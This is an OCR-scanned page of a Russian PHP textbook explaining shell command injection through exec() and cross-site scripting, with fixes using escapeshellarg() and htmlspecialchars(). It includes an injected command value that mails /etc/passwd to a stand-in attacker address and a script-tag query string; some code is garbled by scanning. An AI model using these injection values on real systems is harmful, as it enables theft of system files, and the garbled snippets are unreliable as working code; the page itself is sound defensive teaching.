Аргерих Л. О языке РНР. Часть 5. Страница 85


</body> </html>

В этом примере не видно ничего ужасного. Однако проблема в том, что вво­димые пользователем данные не подвергаются проверке. Представим себе, что будет, если для filetype в форме задать значение "html; cat /etc/passwd | mail hacker@theirdomain. com"? Сначала, как и предполагалось, будет выполне­но Is * html, а затем выполнена команда cat /etc/passwd | mail hacker@theirdo- main.com, которая отправит файл /etc/passwd электронной почтой взломщи­ку. Проблема решается, если предварительно пропустить введенные данные через функцию escapeshellarg(). Ниже приведен код, модифицированный соответствующим

<?php

if (isset($_GET[" filetype" ]))

exec("ls*." . escapeshellarg($_GET["filetype"]));

<html> <body> <form method="get"> Search Directory for files of type: <input type="text" name="filetype"> <input type="submit"> </form> </body> </html>

Повышенную осторожность надо проявлять не только в тех местах, где вве­денные пользователем данные могут создать команду ехес(). Аналогичные атаки могут происходить при помещении данных пользователя в команды SQL. Особенно следите за преобразованием управляющих символов SQL с помощью addslashes() и родственных функций.

Уязвимость типа Cross-Site Scripting

При создании доски объявлений или аналогичных приложений, в которых пользователю возвращаются введенные им данные (это может быть даже вход в систему, если пользователю возвращается приветствие "Hello $username"), не­обходимо следить за уязвимостью типа cross-site scripting. Этот вид уязви­мости связан с тем, что пользователь может поместить на страницу произ­вольные теги HTML и код. Возьмем следующий небольшой фрагмент кода:

<?php

if ($_GET['name'])

. $ GETfname']);

?> :

Если вызывать этот сценарий со строкой запроса ?name=<script>Malicious Co­dec/script^ то можно вставить любой код. Можно также включить теги форм, объектов и встраивания, вызывая злонамеренное модифи­

цирование кода. РНР предоставляет различные функции, позволяющие из­бежать воздействия этой уязвимости на сценарии. При выводе любых дан­ных, введенных пользователем, обеспечьте их безопасность с помощью функции htmlspecialchars(). Следующий код является модификацией приве­денного выше, защищенной от уязвимости cross-site scripting:

<?php if

echo("Hello " . htmispeciaichars($_GET['name']));